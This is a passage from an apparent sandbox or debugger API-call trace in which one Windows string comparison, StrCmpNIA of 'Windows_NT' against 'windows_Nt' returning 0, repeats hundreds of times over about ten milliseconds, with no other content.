nChar=31) returned 0 [0015.259] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.259] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.259] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.259] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.259] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.259] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.259] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.259] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.259] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.259] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.259] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.259] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.259] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.259] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.259] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.259] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.259] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.260] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.260] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.260] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.260] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.260] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.260] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.260] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.260] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.260] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.260] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.260] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.260] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.260] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.260] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.260] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.260] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.260] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.260] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.260] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.260] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.260] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.260] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.260] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.260] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.260] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.260] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.260] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.260] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.260] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.260] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.260] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.260] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.261] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.261] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.261] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.261] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.261] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.261] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.261] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.261] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.261] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.261] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.261] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.261] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.261] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.261] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.261] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.261] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.261] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.261] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.261] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.261] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.261] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.261] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.261] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.261] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.261] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.261] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.261] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.261] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.261] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.261] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.261] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.261] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.262] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.262] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.262] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.262] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.262] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.262] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.262] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.262] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.262] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.262] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.262] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.262] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.262] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.262] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.262] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.262] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.262] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.262] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.262] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.262] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.262] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.262] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.262] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.262] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.262] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.262] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.262] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.262] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.262] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.262] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.262] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.263] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.263] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.263] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.263] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.263] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.263] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.263] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.263] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.263] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.263] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.263] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.263] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.263] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.263] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.263] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.263] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.263] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.263] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.263] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.263] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.263] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.263] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.263] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.263] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.263] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.263] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.263] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.263] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.263] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.263] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.263] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.263] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.264] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.264] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.264] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.264] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.264] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.264] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.264] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.264] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.264] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.264] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.264] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.264] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.264] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.264] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.264] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.264] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.264] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.264] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.264] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.264] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.264] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.264] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.264] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.264] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.264] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.264] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.264] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.264] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.264] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.264] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.264] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.265] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.265] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.265] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.265] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.265] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.265] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.265] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.265] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.265] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.265] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.265] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.265] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.265] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.265] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.265] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.265] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.265] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.265] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.265] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.265] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.265] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.265] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.265] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.265] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.265] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.265] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.265] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.265] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.265] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.265] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.265] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.265] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.266] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.266] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.266] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.266] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.266] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.266] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.266] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.266] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.266] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.266] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.266] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.266] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.266] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.266] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.266] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.266] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.266] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.266] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.266] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.266] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.266] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.266] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.266] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.266] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.266] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.266] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.266] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.266] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.266] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.266] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.266] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.267] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.267] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.267] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.267] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.267] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.267] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.267] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.267] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.267] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.267] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.267] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.267] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.267] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.267] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.267] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.267] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.267] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.267] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.267] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.267] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.267] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.267] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.267] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.267] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.267] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.267] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.267] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.267] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.267] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.267] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.267] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.267] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.268] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.268] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.268] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.268] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.268] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.268] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.268] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.268] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.268] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.268] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.268] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.268] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.268] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.268] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.268] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.268] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.268] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.268] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.268] 